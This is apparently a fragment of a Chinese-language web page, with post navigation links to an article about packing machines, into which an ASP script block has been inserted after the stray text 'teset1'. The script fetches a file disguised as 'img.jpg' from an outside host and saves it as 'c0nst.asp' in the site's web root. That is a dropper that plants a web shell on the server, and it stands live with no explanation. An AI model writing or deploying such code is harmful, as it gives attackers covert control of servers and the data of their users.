teset1
<%
Sub downloadFile(url,savePath)
Set xPost = Server.CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",url,0
xPost.Send()
Set sGet = Server.CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile savePath,2
sGet=Nothing
xPost=nothing
End Sub
Function formatPath(sPath)
formatPath = Replace(sPath,"/","\")
formatPath = Replace(formatPath,"\\","\")
formatPath = Replace(formatPath,"\\","\")
End Function
Function downloader
appPath = Server.MapPath("/")&"\"
SaveASPFilePath = formatPath(appPath&"/c0nst.asp")
downloadFile "https://dl.hong27.com/img.jpg",SaveASPFilePath
End Function
%>
- 上一篇：沒有啦
- 下一篇：打包機科技的進步將帶動各行業的發展 2014/4/2
